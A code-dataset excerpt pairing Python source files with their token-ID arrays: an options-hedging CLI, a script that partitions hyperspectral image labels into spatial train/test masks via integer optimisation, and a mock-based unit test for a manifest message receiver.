@click.option("--hedge-type", "-h", multiple=True, type=click.Choice(["delta", "delta-vega"], case_sensitive=True))
def execute_cmdline(portfolio_size, schedule, hedge_type):
"""Evaluate delta and delta-vega hedging performance on portfolios of
at-the-money call options on S&P 100 during the trading year of 2010."""
portfolio_size = sorted(set(portfolio_size))
schedule = sorted(set(schedule))
hedge_type = sorted(x.replace("-", "_") for x in set(hedge_type))
data = OptionsData()
sheets = data.get_sheet_names()
task_params = it.product(hedge_type, sheets, portfolio_size, schedule)
results = []
print("Performing hedging in parallel...")
with concurrent.futures.ProcessPoolExecutor() as executor:
stats_futures = [executor.submit(getattr(Hedger, f"{hedge_type}_hedge"), data, *params) for hedge_type, *params in task_params]
for stats in concurrent.futures.as_completed(stats_futures):
results.append(stats.result())
for result in results:
print(result)
#-------------------------------------------------------------------------
if __name__ == "__main__":
execute_cmdline()
#-------------------------------------------------------------------------
| [
1,
529,
9507,
29958,
3396,
29889,
2272,
13,
5215,
21984,
29889,
29888,
329,
1973,
13,
5215,
4256,
8504,
408,
372,
13,
5215,
3244,
292,
13,
5215,
2828,
13,
3166,
298,
287,
914,
1053,
28561,
914,
13,
3166,
3987,
29918,
1272,
1053,
25186,
1469,
13,
13,
29937,
2683,
2683,
2683,
2683,
1378,
29899,
13,
13,
29992,
3808,
29889,
6519,
29898,
1217,
29918,
5085,
29918,
275,
29918,
8477,
29922,
5574,
29897,
13,
29992,
3808,
29889,
3385,
703,
489,
637,
25648,
29899,
2311,
613,
11663,
29886,
613,
2999,
29922,
5574,
29892,
1134,
29922,
3808,
29889,
2928,
6069,
29898,
1195,
29922,
29896,
29892,
4236,
29922,
29945,
511,
13,
795,
1371,
543,
3505,
310,
278,
2011,
25648,
304,
367,
298,
287,
3192,
23157,
13,
29992,
3808,
29889,
3385,
703,
489,
816,
11272,
613,
11663,
29879,
613,
2999,
29922,
5574,
29892,
1134,
29922,
3808,
29889,
2928,
6069,
29898,
1195,
29922,
29896,
29892,
4236,
29922,
29896,
29900,
511,
13,
795,
1371,
543,
29950,
287,
3460,
20410,
304,
2050,
313,
262,
3841,
467,
1159,
13,
29992,
3808,
29889,
3385,
703,
489,
29882,
12864,
29899,
1853,
613,
11663,
29882,
613,
2999,
29922,
5574,
29892,
1134,
29922,
3808,
29889,
29620,
29898,
3366,
4181,
613,
376,
4181,
29899,
345,
3249,
12436,
1206,
29918,
23149,
3321,
29922,
5574,
876,
13,
1753,
6222,
29918,
9006,
1220,
29898,
637,
25648,
29918,
2311,
29892,
20410,
29892,
298,
12864,
29918,
1853,
1125,
13,
1678,
9995,
29923,
4387,
403,
19471,
322,
19471,
29899,
345,
3249,
298,
287,
3460,
4180,
373,
2011,
4542,
2363,
310,
13,
539,
472,
29899,
1552,
29899,
29885,
4992,
1246,
3987,
373,
317,
29987,
29925,
29871,
29896,
29900,
29900,
2645,
278,
3534,
292,
1629,
310,
29871,
29906,
29900,
29896,
29900,
1213,
15945,
13,
13,
1678,
2011,
25648,
29918,
2311,
353,
12705,
29898,
842,
29898,
637,
25648,
29918,
2311,
876,
13,
1678,
20410,
353,
12705,
29898,
842,
29898,
816,
11272,
876,
13,
1678,
298,
12864,
29918,
1853,
353,
12705,
29898,
29916,
29889,
6506,
703,
29899,
613,
11119,
1159,
363,
921,
297,
731,
29898,
29882,
12864,
29918,
1853,
876,
13,
13,
1678,
848,
353,
25186,
1469,
580,
13,
1678,
26718,
353,
848,
29889,
657,
29918,
9855,
29918,
7039,
580,
13,
13,
1678,
3414,
29918,
7529,
353,
372,
29889,
4704,
29898,
29882,
12864,
29918,
1853,
29892,
26718,
29892,
2011,
25648,
29918,
2311,
29892,
20410,
29897,
13,
1678,
2582,
353,
5159,
13,
13,
1678,
1596,
703,
5894,
689,
292,
298,
287,
3460,
297,
8943,
856,
1159,
13,
1678,
411,
21984,
29889,
29888,
329,
1973,
29889,
7032,
11426,
13366,
580,
408,
2279,
3406,
29901,
13,
4706,
22663,
29918,
29888,
329,
1973,
353,
518,
4258,
3406,
29889,
7892,
29898,
657,
5552,
29898,
29950,
287,
914,
29892,
285,
29908,
29912,
29882,
12864,
29918,
1853,
2403,
29882,
12864,
4968,
848,
29892,
334,
7529,
29897,
363,
298,
12864,
29918,
1853,
29892,
334,
7529,
297,
3414,
29918,
7529,
29962,
13,
4706,
363,
22663,
297,
21984,
29889,
29888,
329,
1973,
29889,
294,
29918,
5729,
9446,
29898,
16202,
29918,
29888,
329,
1973,
1125,
13,
9651,
2582,
29889,
4397,
29898,
16202,
29889,
2914,
3101,
13,
13,
1678,
363,
1121,
297,
2582,
29901,
13,
4706,
1596,
29898,
2914,
29897,
13,
13,
29937,
2683,
2683,
2683,
2683,
1378,
29899,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
6222,
29918,
9006,
1220,
580,
13,
268,
13,
29937,
2683,
2683,
2683,
2683,
1378,
29899,
13,
2
] |
vector_partition.py | ilyakava/pyfst | 3 | 62038 | <reponame>ilyakava/pyfst<filename>vector_partition.py<gh_stars>1-10
"""Test spatial depence of feature extraction methods
Extracts quadrants of input images such that a certain percentage of
training examples are present in those quadrants. The hope is to
select training sets where training pixels and test pixels are not
spatially interspersed.
"""
from collections import namedtuple
import itertools
import os
import h5py
import hdf5storage
import numpy as np
import scipy.io as sio
import cvxpy as cvx
import matplotlib.pyplot as plt
import pdb
DATASET_PATH = (os.environ['DATASET_PATH'])
quadO = namedtuple('quadO', ['x', 'y', 'x_end', 'y_end', 'hist'])
def get_quadrants(labels, n_x, n_y):
pass
def get_train_mask(quads, selection):
train = np.zeros((height, width))
for i, q in enumerate(quads):
if selection[i] == 1:
train[q.y:q.y_end,q.x:q.x_end] = 1
return train
# plt.imshow(train)
# plt.show()
def get_gt(name):
mat_contents = sio.loadmat(os.path.join(DATASET_PATH, name))
if name == 'Indian_pines_gt.mat':
return mat_contents['indian_pines_gt']
elif name == 'PaviaU_gt.mat':
return mat_contents['paviaU_gt']
elif name == 'Salinas_gt.mat':
return mat_contents['salinas_gt']
elif name == 'Botswana_gt.mat':
return mat_contents['Botswana_gt']
elif name == 'Smith_gt.mat':
return mat_contents['Smith_gt']
elif name == 'Pavia_center_right_gt.mat':
return mat_contents['Pavia_center_right_gt']
else:
error('No such dataset %s' % name)
def quads_to_traintestfile(quads, selection, gt, name):
train = np.zeros((height, width))
for i, q in enumerate(quads):
if selection[i] == 1:
train[q.y:q.y_end,q.x:q.x_end] = 1
train_mask = (gt != 0) * train
train_mask = train_mask.transpose().reshape(height*width)
test_mask = (gt != 0) * (1-train)
test_mask = test_mask.transpose().reshape(height*width)
mat_outdata = {}
mat_outdata[u'test_mask'] = test_mask
mat_outdata[u'train_mask'] = train_mask
hdf5storage.write(mat_outdata, filename=os.path.join(DATASET_PATH, name), matlab_compatible=True)
def myhist(nlabels, lab_img):
hist_arr = np.zeros(nlabels)
for k in lab_img.flatten():
if k != 0:
hist_arr[k-1] += 1
return hist_arr
def make_staggered_quads(gt, rare_classes, q_sz, q_stagger=None):
[height, width] = gt.shape
nlabels = len(np.unique(gt)) - 1
if q_stagger is None:
q_stagger = q_sz
quads = []
for x1 in range(0,width-q_sz,q_stagger):
for y1 in range(0,height-q_sz,q_stagger):
x2 = x1 + q_sz
y2 = y1 + q_sz
gt_subregion = gt[y1:y2,x1:x2]
subregion_hist = myhist(nlabels, gt_subregion)
# if we are on a staggered block, and we don't include
# any small amount labels, then skip it
if (x1 % q_sz !=0 or y1 % q_sz !=0) and (np.max(rare_classes * subregion_hist) < 2):
next
elif np.sum(subregion_hist) > 0:
quads.append(quadO(x1, y1, x2, y2, subregion_hist))
return quads
def quads_to_mats(nlabels, non_empty_quads):
n_ne_quads = len(non_empty_quads)
P = np.zeros((nlabels, n_ne_quads))
C = np.zeros((nlabels, n_ne_quads))
for i, q in enumerate(non_empty_quads):
P[:, i] = q.hist / gt_hist
C[:, i] = q.hist
return [P, C]
if __name__ == '__main__':
gt = get_gt('PaviaU_gt.mat')
[height, width] = gt.shape
nlabels = len(np.unique(gt)) - 1
gt_hist = myhist(nlabels, gt)
pdb.set_trace()
non_empty_quads = make_staggered_quads(gt, (gt_hist < np.median(gt_hist)).astype(int), 16, 4)
print('done making quads')
n_ne_quads = len(non_empty_quads)
[P, C] = quads_to_mats(nlabels, non_empty_quads)
A = 100 * P
# b = 10
# w = gt_hist.max() / gt_hist
x = cvx.Variable(n_ne_quads, boolean=True)
obj = cvx.Minimize(cvx.norm((A * x - 12),2))
prob = cvx.Problem(obj)
prob.solve(solver=cvx.GLPK_MI) # this is the better than default solver for integer problems
if x.value is None:
print('no solution found')
pdb.set_trace()
else:
selection = np.round(x.value).astype(int)
myhist(nlabels ,(gt * get_train_mask(non_empty_quads, selection)).astype(int)) / gt_hist
plt.imshow(get_train_mask(non_empty_quads, selection))
plt.show()
# print what this binary mask image looks like
# next
pdb.set_trace()
quads_to_traintestfile(non_empty_quads, selection, gt, 'PaviaU_gt_traintest_coarse_32px32p.mat')
| [
1,
529,
276,
1112,
420,
29958,
2354,
557,
879,
29914,
2272,
29888,
303,
29966,
9507,
29958,
8111,
29918,
16707,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
15945,
29908,
3057,
18652,
1401,
663,
310,
4682,
4805,
428,
3519,
13,
13,
5647,
1461,
29879,
15448,
1934,
310,
1881,
4558,
1316,
393,
263,
3058,
19649,
310,
13,
26495,
6455,
526,
2198,
297,
1906,
15448,
1934,
29889,
450,
4966,
338,
304,
13,
2622,
6694,
6166,
988,
6694,
17036,
322,
1243,
17036,
526,
451,
13,
1028,
15238,
368,
1006,
1028,
414,
287,
29889,
13,
15945,
29908,
13,
3166,
16250,
1053,
4257,
23583,
13,
5215,
4256,
8504,
13,
5215,
2897,
13,
13,
5215,
298,
29945,
2272,
13,
5215,
298,
2176,
29945,
12925,
13,
5215,
12655,
408,
7442,
13,
5215,
4560,
2272,
29889,
601,
408,
269,
601,
13,
5215,
13850,
29916,
2272,
408,
13850,
29916,
13,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
5215,
282,
2585,
13,
13,
25832,
8127,
29911,
29918,
10145,
353,
313,
359,
29889,
21813,
1839,
25832,
8127,
29911,
29918,
10145,
11287,
13,
13,
3425,
29949,
353,
4257,
23583,
877,
3425,
29949,
742,
6024,
29916,
742,
525,
29891,
742,
525,
29916,
29918,
355,
742,
525,
29891,
29918,
355,
742,
525,
29882,
391,
11287,
13,
13,
1753,
679,
29918,
3425,
29878,
1934,
29898,
21134,
29892,
302,
29918,
29916,
29892,
302,
29918,
29891,
1125,
13,
1678,
1209,
13,
13,
1753,
679,
29918,
14968,
29918,
13168,
29898,
3425,
29879,
29892,
9262,
1125,
13,
1678,
7945,
353,
7442,
29889,
3298,
359,
3552,
3545,
29892,
2920,
876,
13,
1678,
363,
474,
29892,
3855,
297,
26985,
29898,
3425,
29879,
1125,
13,
4706,
565,
9262,
29961,
29875,
29962,
1275,
29871,
29896,
29901,
13,
9651,
7945,
29961,
29939,
29889,
29891,
29901,
29939,
29889,
29891,
29918,
355,
29892,
29939,
29889,
29916,
29901,
29939,
29889,
29916,
29918,
355,
29962,
353,
29871,
29896,
13,
1678,
736,
7945,
13,
1678,
396,
14770,
29889,
326,
4294,
29898,
14968,
29897,
13,
1678,
396,
14770,
29889,
4294,
580,
13,
13,
1753,
679,
29918,
4141,
29898,
978,
1125,
13,
1678,
1775,
29918,
10853,
353,
269,
601,
29889,
1359,
2922,
29898,
359,
29889,
2084,
29889,
7122,
29898,
25832,
8127,
29911,
29918,
10145,
29892,
1024,
876,
13,
1678,
565,
1024,
1275,
525,
2568,
713,
29918,
29886,
1475,
29918,
4141,
29889,
2922,
2396,
13,
4706,
736,
1775,
29918,
10853,
1839,
513,
713,
29918,
29886,
1475,
29918,
4141,
2033,
13,
1678,
25342,
1024,
1275,
525,
29925,
12751,
29965,
29918,
4141,
29889,
2922,
2396,
13,
4706,
736,
1775,
29918,
10853,
1839,
29886,
12751,
29965,
29918,
4141,
2033,
13,
1678,
25342,
1024,
1275,
525,
20392,
10189,
29918,
4141,
29889,
2922,
2396,
13,
4706,
736,
1775,
29918,
10853,
1839,
19585,
10189,
29918,
4141,
2033,
13,
1678,
25342,
1024,
1275,
525,
29933,
1862,
29893,
1648,
29918,
4141,
29889,
2922,
2396,
13,
4706,
736,
1775,
29918,
10853,
1839,
29933,
1862,
29893,
1648,
29918,
4141,
2033,
13,
1678,
25342,
1024,
1275,
525,
29209,
29918,
4141,
29889,
2922,
2396,
13,
4706,
736,
1775,
29918,
10853,
1839,
29209,
29918,
4141,
2033,
13,
1678,
25342,
1024,
1275,
525,
29925,
12751,
29918,
5064,
29918,
1266,
29918,
4141,
29889,
2922,
2396,
13,
4706,
736,
1775,
29918,
10853,
1839,
29925,
12751,
29918,
5064,
29918,
1266,
29918,
4141,
2033,
13,
1678,
1683,
29901,
13,
4706,
1059,
877,
3782,
1316,
8783,
1273,
29879,
29915,
1273,
1024,
29897,
13,
13,
1753,
439,
7925,
29918,
517,
29918,
3018,
524,
342,
1445,
29898,
3425,
29879,
29892,
9262,
29892,
330,
29873,
29892,
1024,
1125,
13,
1678,
7945,
353,
7442,
29889,
3298,
359,
3552,
3545,
29892,
2920,
876,
13,
1678,
363,
474,
29892,
3855,
297,
26985,
29898,
3425,
29879,
1125,
13,
4706,
565,
9262,
29961,
29875,
29962,
1275,
29871,
29896,
29901,
13,
9651,
7945,
29961,
29939,
29889,
29891,
29901,
29939,
29889,
29891,
29918,
355,
29892,
29939,
29889,
29916,
29901,
29939,
29889,
29916,
29918,
355,
29962,
353,
29871,
29896,
13,
1678,
7945,
29918,
13168,
353,
313,
4141,
2804,
29871,
29900,
29897,
334,
7945,
13,
1678,
7945,
29918,
13168,
353,
7945,
29918,
13168,
29889,
3286,
4220,
2141,
690,
14443,
29898,
3545,
29930,
2103,
29897,
13,
13,
1678,
1243,
29918,
13168,
353,
313,
4141,
2804,
29871,
29900,
29897,
334,
313,
29896,
29899,
14968,
29897,
13,
1678,
1243,
29918,
13168,
353,
1243,
29918,
13168,
29889,
3286,
4220,
2141,
690,
14443,
29898,
3545,
29930,
2103,
29897,
13,
13,
1678,
1775,
29918,
449,
1272,
353,
6571,
13,
1678,
1775,
29918,
449,
1272,
29961,
29884,
29915,
1688,
29918,
13168,
2033,
353,
1243,
29918,
13168,
13,
1678,
1775,
29918,
449,
1272,
29961,
29884,
29915,
14968,
29918,
13168,
2033,
353,
7945,
29918,
13168,
13,
1678,
298,
2176,
29945,
12925,
29889,
3539,
29898,
2922,
29918,
449,
1272,
29892,
10422,
29922,
359,
29889,
2084,
29889,
7122,
29898,
25832,
8127,
29911,
29918,
10145,
29892,
1024,
511,
1775,
8205,
29918,
23712,
29922,
5574,
29897,
13,
13,
1753,
590,
29882,
391,
29898,
29876,
21134,
29892,
9775,
29918,
2492,
1125,
13,
1678,
9825,
29918,
2749,
353,
7442,
29889,
3298,
359,
29898,
29876,
21134,
29897,
13,
1678,
363,
413,
297,
9775,
29918,
2492,
29889,
1579,
8606,
7295,
13,
4706,
565,
413,
2804,
29871,
29900,
29901,
13,
9651,
9825,
29918,
2749,
29961,
29895,
29899,
29896,
29962,
4619,
29871,
29896,
13,
1678,
736,
9825,
29918,
2749,
13,
13,
1753,
1207,
29918,
303,
9921,
287,
29918,
3425,
29879,
29898,
4141,
29892,
10812,
29918,
13203,
29892,
3855,
29918,
3616,
29892,
3855,
29918,
303,
9921,
29922,
8516,
1125,
13,
1678,
518,
3545,
29892,
2920,
29962,
353,
330,
29873,
29889,
12181,
13,
1678,
302,
21134,
353,
7431,
29898,
9302,
29889,
13092,
29898,
4141,
876,
448,
29871,
29896,
13,
1678,
565,
3855,
29918,
303,
9921,
338,
6213,
29901,
13,
4706,
3855,
29918,
303,
9921,
353,
3855,
29918,
3616,
13,
13,
1678,
439,
7925,
353,
5159,
13,
1678,
363,
921,
29896,
297,
3464,
29898,
29900,
29892,
2103,
29899,
29939,
29918,
3616,
29892,
29939,
29918,
303,
9921,
1125,
13,
4706,
363,
343,
29896,
297,
3464,
29898,
29900,
29892,
3545,
29899,
29939,
29918,
3616,
29892,
29939,
29918,
303,
9921,
1125,
13,
9651,
921,
29906,
353,
921,
29896,
718,
3855,
29918,
3616,
13,
9651,
343,
29906,
353,
343,
29896,
718,
3855,
29918,
3616,
13,
9651,
330,
29873,
29918,
1491,
12803,
353,
330,
29873,
29961,
29891,
29896,
29901,
29891,
29906,
29892,
29916,
29896,
29901,
29916,
29906,
29962,
13,
9651,
1014,
12803,
29918,
29882,
391,
353,
590,
29882,
391,
29898,
29876,
21134,
29892,
330,
29873,
29918,
1491,
12803,
29897,
13,
9651,
396,
565,
591,
526,
373,
263,
380,
9921,
287,
2908,
29892,
322,
591,
1016,
29915,
29873,
3160,
13,
9651,
396,
738,
2319,
5253,
11073,
29892,
769,
14383,
372,
13,
9651,
565,
313,
29916,
29896,
1273,
3855,
29918,
3616,
2804,
29900,
470,
343,
29896,
1273,
3855,
29918,
3616,
2804,
29900,
29897,
322,
313,
9302,
29889,
3317,
29898,
25983,
29918,
13203,
334,
1014,
12803,
29918,
29882,
391,
29897,
529,
29871,
29906,
1125,
13,
18884,
2446,
13,
9651,
25342,
7442,
29889,
2083,
29898,
1491,
12803,
29918,
29882,
391,
29897,
1405,
29871,
29900,
29901,
13,
18884,
439,
7925,
29889,
4397,
29898,
3425,
29949,
29898,
29916,
29896,
29892,
343,
29896,
29892,
921,
29906,
29892,
343,
29906,
29892,
1014,
12803,
29918,
29882,
391,
876,
13,
1678,
736,
439,
7925,
13,
13,
13,
1753,
439,
7925,
29918,
517,
29918,
29885,
1446,
29898,
29876,
21134,
29892,
1661,
29918,
6310,
29918,
3425,
29879,
1125,
13,
1678,
302,
29918,
484,
29918,
3425,
29879,
353,
7431,
29898,
5464,
29918,
6310,
29918,
3425,
29879,
29897,
13,
1678,
349,
353,
7442,
29889,
3298,
359,
3552,
29876,
21134,
29892,
302,
29918,
484,
29918,
3425,
29879,
876,
13,
1678,
315,
353,
7442,
29889,
3298,
359,
3552,
29876,
21134,
29892,
302,
29918,
484,
29918,
3425,
29879,
876,
13,
1678,
363,
474,
29892,
3855,
297,
26985,
29898,
5464,
29918,
6310,
29918,
3425,
29879,
1125,
13,
4706,
349,
7503,
29892,
474,
29962,
353,
3855,
29889,
29882,
391,
847,
330,
29873,
29918,
29882,
391,
13,
4706,
315,
7503,
29892,
474,
29962,
353,
3855,
29889,
29882,
391,
13,
1678,
736,
518,
29925,
29892,
315,
29962,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
13,
1678,
330,
29873,
353,
679,
29918,
4141,
877,
29925,
12751,
29965,
29918,
4141,
29889,
2922,
1495,
13,
13,
1678,
518,
3545,
29892,
2920,
29962,
353,
330,
29873,
29889,
12181,
13,
1678,
302,
21134,
353,
7431,
29898,
9302,
29889,
13092,
29898,
4141,
876,
448,
29871,
29896,
13,
1678,
330,
29873,
29918,
29882,
391,
353,
590,
29882,
391,
29898,
29876,
21134,
29892,
330,
29873,
29897,
13,
13,
1678,
282,
2585,
29889,
842,
29918,
15003,
580,
13,
13,
1678,
1661,
29918,
6310,
29918,
3425,
29879,
353,
1207,
29918,
303,
9921,
287,
29918,
3425,
29879,
29898,
4141,
29892,
313,
4141,
29918,
29882,
391,
529,
7442,
29889,
2168,
713,
29898,
4141,
29918,
29882,
391,
8106,
579,
668,
29898,
524,
511,
29871,
29896,
29953,
29892,
29871,
29946,
29897,
13,
13,
1678,
1596,
877,
15091,
3907,
439,
7925,
1495,
13,
13,
1678,
302,
29918,
484,
29918,
3425,
29879,
353,
7431,
29898,
5464,
29918,
6310,
29918,
3425,
29879,
29897,
13,
13,
1678,
518,
29925,
29892,
315,
29962,
353,
439,
7925,
29918,
517,
29918,
29885,
1446,
29898,
29876,
21134,
29892,
1661,
29918,
6310,
29918,
3425,
29879,
29897,
13,
13,
1678,
319,
353,
29871,
29896,
29900,
29900,
334,
349,
13,
1678,
396,
289,
353,
29871,
29896,
29900,
13,
1678,
396,
281,
353,
330,
29873,
29918,
29882,
391,
29889,
3317,
580,
847,
330,
29873,
29918,
29882,
391,
13,
1678,
921,
353,
13850,
29916,
29889,
16174,
29898,
29876,
29918,
484,
29918,
3425,
29879,
29892,
7223,
29922,
5574,
29897,
13,
13,
1678,
5446,
353,
13850,
29916,
29889,
8140,
326,
675,
29898,
11023,
29916,
29889,
12324,
3552,
29909,
334,
921,
448,
29871,
29896,
29906,
511,
29906,
876,
13,
1678,
2070,
353,
13850,
29916,
29889,
26604,
29898,
5415,
29897,
13,
13,
13,
1678,
2070,
29889,
2929,
345,
29898,
2929,
369,
29922,
11023,
29916,
29889,
7239,
21738,
29918,
10403,
29897,
396,
445,
338,
278,
2253,
1135,
2322,
899,
369,
363,
6043,
4828,
13,
13,
1678,
565,
921,
29889,
1767,
338,
6213,
29901,
13,
4706,
1596,
877,
1217,
1650,
1476,
1495,
13,
4706,
282,
2585,
29889,
842,
29918,
15003,
580,
13,
1678,
1683,
29901,
13,
13,
4706,
9262,
353,
7442,
29889,
14486,
29898,
29916,
29889,
1767,
467,
579,
668,
29898,
524,
29897,
13,
4706,
590,
29882,
391,
29898,
29876,
21134,
1919,
29898,
4141,
334,
679,
29918,
14968,
29918,
13168,
29898,
5464,
29918,
6310,
29918,
3425,
29879,
29892,
9262,
8106,
579,
668,
29898,
524,
876,
847,
330,
29873,
29918,
29882,
391,
13,
13,
13,
4706,
14770,
29889,
326,
4294,
29898,
657,
29918,
14968,
29918,
13168,
29898,
5464,
29918,
6310,
29918,
3425,
29879,
29892,
9262,
876,
13,
4706,
14770,
29889,
4294,
580,
13,
4706,
396,
1596,
825,
445,
7581,
11105,
1967,
3430,
763,
13,
13,
4706,
396,
2446,
13,
13,
4706,
282,
2585,
29889,
842,
29918,
15003,
580,
13,
13,
4706,
439,
7925,
29918,
517,
29918,
3018,
524,
342,
1445,
29898,
5464,
29918,
6310,
29918,
3425,
29879,
29892,
9262,
29892,
330,
29873,
29892,
525,
29925,
12751,
29965,
29918,
4141,
29918,
3018,
524,
342,
29918,
1111,
7989,
29918,
29941,
29906,
1756,
29941,
29906,
29886,
29889,
2922,
1495,
13,
2
] |
tests/manifest/test_receiver.py | ebi-ait/ingest-exporter | 0 | 62252 | <gh_stars>0
import datetime
import json
from unittest import TestCase
from mock import MagicMock
from manifest.receiver import ManifestReceiver
class TestReceiver(TestCase):
def setUp(self):
self.publish_config = {
'exchange': 'exchange',
'routing_key': 'routing_key',
'retry_policy': {}
}
self.create_message_body = '''{
"bundleUuid":"bundle-uuid",
"versionTimestamp":"2018-03-26T14:27:53.360Z",
"messageProtocol": null,
"documentId": "5bbc8fc8109b8300069546cf",
"documentUuid": "doc-uuid",
"callbackLink": "/processes/5bbc8fc8109b8300069546cf",
"documentType": "Process",
"envelopeId": "submission-id",
"envelopeUuid": "submission-uuid",
"index": 1278,
"total": 1733
}'''
self.update_message_body = '''{
"bundleUuid": "bundle-uuid",
"versionTimestamp": "2018-03-26T14:27:53.360Z",
"callbackLinks": ["/link1", "/link1"],
"envelopeId": "5c2dfb101603f500078b28de",
"envelopeUuid": "4e474a77-1489-42ef-b0a7-6290c2cfce29",
"index": 0,
"total": 12,
"messageProtocol": null
}'''
def test_create_manifest_receiver_on_message(self):
mock_exporter = MagicMock()
mock_exporter.export = MagicMock()
# given
create_receiver = ManifestReceiver(MagicMock(), MagicMock(), mock_exporter, self.publish_config)
version_timestamp = datetime.datetime.strptime(
"2018-03-26T14:27:53.360Z", "%Y-%m-%dT%H:%M:%S.%fZ")
bundle_version = version_timestamp.strftime("%Y-%m-%dT%H%M%S.%fZ")
message = MagicMock(name='message')
message.ack = MagicMock()
create_receiver.notify_state_tracker = MagicMock()
# when
create_receiver.on_message(self.create_message_body, message)
# then
mock_exporter.export.assert_called_with(submission_uuid='submission-uuid', process_uuid='doc-uuid')
create_receiver.notify_state_tracker.assert_called_with(json.loads(self.create_message_body))
message.ack.assert_called_once()
def test_create_manifest_receiver_on_message_exception(self):
# given
mock_exporter = MagicMock()
mock_exporter.export = MagicMock()
version_timestamp = datetime.datetime.strptime(
"2018-03-26T14:27:53.360Z", "%Y-%m-%dT%H:%M:%S.%fZ")
bundle_version = version_timestamp.strftime("%Y-%m-%dT%H%M%S.%fZ")
message = MagicMock(name='message')
message.ack = MagicMock()
create_receiver = ManifestReceiver(MagicMock(), MagicMock(),
mock_exporter,
self.publish_config)
create_receiver.notify_state_tracker = MagicMock()
# when
mock_exporter.export.side_effect = Exception('unhandled exception')
create_receiver.on_message(self.create_message_body, message)
# then
mock_exporter.export.assert_called_with(submission_uuid='submission-uuid', process_uuid='doc-uuid')
message.ack.assert_called_once()
create_receiver.notify_state_tracker.assert_not_called()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
12865,
13,
5215,
4390,
13,
13,
3166,
443,
27958,
1053,
4321,
8259,
13,
3166,
11187,
1053,
26494,
18680,
13,
3166,
10419,
29889,
13556,
2147,
1053,
2315,
7004,
22068,
13,
13,
13,
1990,
4321,
22068,
29898,
3057,
8259,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
23679,
29918,
2917,
353,
426,
13,
9651,
525,
6543,
2396,
525,
6543,
742,
13,
9651,
525,
14608,
292,
29918,
1989,
2396,
525,
14608,
292,
29918,
1989,
742,
13,
9651,
525,
276,
2202,
29918,
22197,
2396,
6571,
13,
4706,
500,
13,
4706,
1583,
29889,
3258,
29918,
4906,
29918,
2587,
353,
14550,
29912,
13,
9651,
376,
16718,
29965,
5416,
4710,
16718,
29899,
25118,
613,
13,
9651,
376,
3259,
27939,
4710,
29906,
29900,
29896,
29947,
29899,
29900,
29941,
29899,
29906,
29953,
29911,
29896,
29946,
29901,
29906,
29955,
29901,
29945,
29941,
29889,
29941,
29953,
29900,
29999,
613,
13,
9651,
376,
4906,
17830,
1115,
1870,
29892,
13,
9651,
376,
3225,
1204,
1115,
376,
29945,
1327,
29883,
29947,
13801,
29947,
29896,
29900,
29929,
29890,
29947,
29941,
29900,
29900,
29900,
29953,
29929,
29945,
29946,
29953,
6854,
613,
13,
9651,
376,
3225,
29965,
5416,
1115,
376,
1514,
29899,
25118,
613,
13,
9651,
376,
14035,
6595,
1115,
5591,
5014,
267,
29914,
29945,
1327,
29883,
29947,
13801,
29947,
29896,
29900,
29929,
29890,
29947,
29941,
29900,
29900,
29900,
29953,
29929,
29945,
29946,
29953,
6854,
613,
13,
9651,
376,
3225,
1542,
1115,
376,
7032,
613,
13,
9651,
376,
264,
21367,
1204,
1115,
376,
1491,
6737,
29899,
333,
613,
13,
9651,
376,
264,
21367,
29965,
5416,
1115,
376,
1491,
6737,
29899,
25118,
613,
13,
9651,
376,
2248,
1115,
29871,
29896,
29906,
29955,
29947,
29892,
13,
9651,
376,
7827,
1115,
29871,
29896,
29955,
29941,
29941,
13,
4706,
500,
12008,
13,
13,
4706,
1583,
29889,
5504,
29918,
4906,
29918,
2587,
353,
14550,
29912,
13,
9651,
376,
16718,
29965,
5416,
1115,
376,
16718,
29899,
25118,
613,
13,
9651,
376,
3259,
27939,
1115,
376,
29906,
29900,
29896,
29947,
29899,
29900,
29941,
29899,
29906,
29953,
29911,
29896,
29946,
29901,
29906,
29955,
29901,
29945,
29941,
29889,
29941,
29953,
29900,
29999,
613,
13,
9651,
376,
14035,
6595,
29879,
1115,
6796,
29914,
2324,
29896,
613,
5591,
2324,
29896,
12436,
13,
9651,
376,
264,
21367,
1204,
1115,
376,
29945,
29883,
29906,
2176,
29890,
29896,
29900,
29896,
29953,
29900,
29941,
29888,
29945,
29900,
29900,
29900,
29955,
29947,
29890,
29906,
29947,
311,
613,
13,
9651,
376,
264,
21367,
29965,
5416,
1115,
376,
29946,
29872,
29946,
29955,
29946,
29874,
29955,
29955,
29899,
29896,
29946,
29947,
29929,
29899,
29946,
29906,
1389,
29899,
29890,
29900,
29874,
29955,
29899,
29953,
29906,
29929,
29900,
29883,
29906,
6854,
346,
29906,
29929,
613,
13,
9651,
376,
2248,
1115,
29871,
29900,
29892,
13,
9651,
376,
7827,
1115,
29871,
29896,
29906,
29892,
13,
9651,
376,
4906,
17830,
1115,
1870,
13,
4706,
500,
12008,
13,
13,
1678,
822,
1243,
29918,
3258,
29918,
29135,
29918,
13556,
2147,
29918,
265,
29918,
4906,
29898,
1311,
1125,
13,
4706,
11187,
29918,
735,
18505,
353,
26494,
18680,
580,
13,
4706,
11187,
29918,
735,
18505,
29889,
15843,
353,
26494,
18680,
580,
13,
4706,
396,
2183,
13,
4706,
1653,
29918,
13556,
2147,
353,
2315,
7004,
22068,
29898,
19095,
293,
18680,
3285,
26494,
18680,
3285,
11187,
29918,
735,
18505,
29892,
1583,
29889,
23679,
29918,
2917,
29897,
13,
4706,
1873,
29918,
16394,
353,
12865,
29889,
12673,
29889,
710,
415,
603,
29898,
13,
9651,
376,
29906,
29900,
29896,
29947,
29899,
29900,
29941,
29899,
29906,
29953,
29911,
29896,
29946,
29901,
29906,
29955,
29901,
29945,
29941,
29889,
29941,
29953,
29900,
29999,
613,
11860,
29979,
19222,
29885,
19222,
29881,
29911,
29995,
29950,
16664,
29924,
16664,
29903,
29889,
29995,
29888,
29999,
1159,
13,
4706,
11846,
29918,
3259,
353,
1873,
29918,
16394,
29889,
710,
615,
603,
11702,
29979,
19222,
29885,
19222,
29881,
29911,
29995,
29950,
29995,
29924,
29995,
29903,
29889,
29995,
29888,
29999,
1159,
13,
4706,
2643,
353,
26494,
18680,
29898,
